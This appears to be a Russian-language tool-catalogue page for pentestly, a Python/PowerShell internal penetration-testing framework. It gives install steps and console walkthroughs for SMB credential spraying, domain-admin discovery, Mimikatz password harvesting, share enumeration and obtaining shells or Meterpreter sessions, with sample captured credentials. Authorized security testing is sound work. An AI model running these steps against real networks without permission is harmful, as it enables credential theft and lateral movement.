Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pentestly — Фреймворк для внутреннего тестирования на проникновение на Python и Powershell | Kitploit
Инструменты/GitHubGitHub/praetorian-inc/pentestly
Фреймворки для пентестаПовышение привилегийРазведкаАтаки на ПаролиЭксплуатацияЛатеральное перемещениеСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed Teaming
7211371910 лет назадПроверено Kitploit
Archived
GitHubpraetorian-inc/pentestly

pentestly

Фреймворк для внутреннего тестирования на проникновение на Python и Powershell

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pentestly

Pentestly — это комбинация расширяемых инструментов на Python для использования в тестах на проникновение. Цель — использовать привычный пользовательский интерфейс, делая при этом добавление новых модулей в фреймворк лёгким благодаря мощи Python.

Запись в блоге: Pentestly Framework: When Pentesting Meets Python and Powershell

Автор: @ctfhacker / Cory Duplantis

Демо

asciicast

Текущие возможности

  • Импорт NMAP XML
  • Проверка аутентификации SMB с помощью:
    • отдельных учётных данных
    • файла с учётными данными
    • пустых учётных данных
    • NTLM хеша
  • Проверка прав локального администратора для успешной аутентификации SMB
  • Определение доступных для чтения SMB-ресурсов для валидных учётных данных
  • Хранение имён учётных записей администраторов домена/предприятия
  • Определение местоположения запущенных процессов администратора домена
  • Определение систем, в которых вошли администраторы домена
  • Выполнение команд PowerShell в памяти и извлечение результатов
  • Запуск Mimikatz для сбора паролей в открытом виде из памяти (Invoke-Mimikatz.ps1)
  • Получение командной оболочки (Powercat)
  • Получение сессии meterpreter (Invoke-Shellcode.ps1)

Плечи гигантов

Pentestly стоит на плечах гигантов. Ниже перечислены инструменты, используемые в Pentestly:

  • recon-ng — внутренняя база данных recon-ng прекрасно реализована и используется в Pentestly для работы с данными

  • wmiexec.py — позволяет быстро и легко выполнять команды PowerShell через WMI

  • smbmap.py — полезная утилита для перечисления SMB-ресурсов

  • Invoke-Mimikatz.ps1 — реализация Mimikatz в PowerShell

  • powercat.ps1 — функциональность, аналогичная Netcat, в PowerShell

  • Invoke-Shellcode.ps1 — развёртывание Meterpreter в PowerShell

  • CrackMapExec — источник вдохновения для простого сервера Mimikatz в Pentestly

Установка

git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

Использование

Рассмотрим несколько текущих реализованных функций.

Смена рабочей области

[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

Загрузка из nmap

[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Путь и имя файла для входных данных nmap XML

[pentestly][project][nmap_xml] > run

Проверка входов в систему

Использование файла с учётными данными для проверки входа

[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Использование одиночных имени пользователя и пароля

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Использование учётных данных по небольшому подмножеству IP т.е. по подсети 192.168.8.0/24, найденной в таблице

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Сбор администраторов домена и предприятия

[pentestly][project][login] > load get_domain # Обратите внимание на нечёткий поиск - get_domain находит get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       источник входных данных (см. 'show info' для подробностей)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

Запуск mimikatz на IP-адресах с правами на выполнение

[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Показать локальных администраторов

[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Показать администраторов домена

[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Показать новые ресурсы

[pentestly][default][interesting_files] > show pentestly_shares
Скачать инструмент